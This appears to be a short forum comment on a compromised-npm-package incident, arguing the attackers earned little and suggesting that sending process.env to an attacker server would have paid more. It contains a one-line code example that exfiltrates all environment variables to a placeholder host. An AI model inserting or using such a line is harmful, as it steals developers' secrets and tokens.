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there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.

500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.

This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.

`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.

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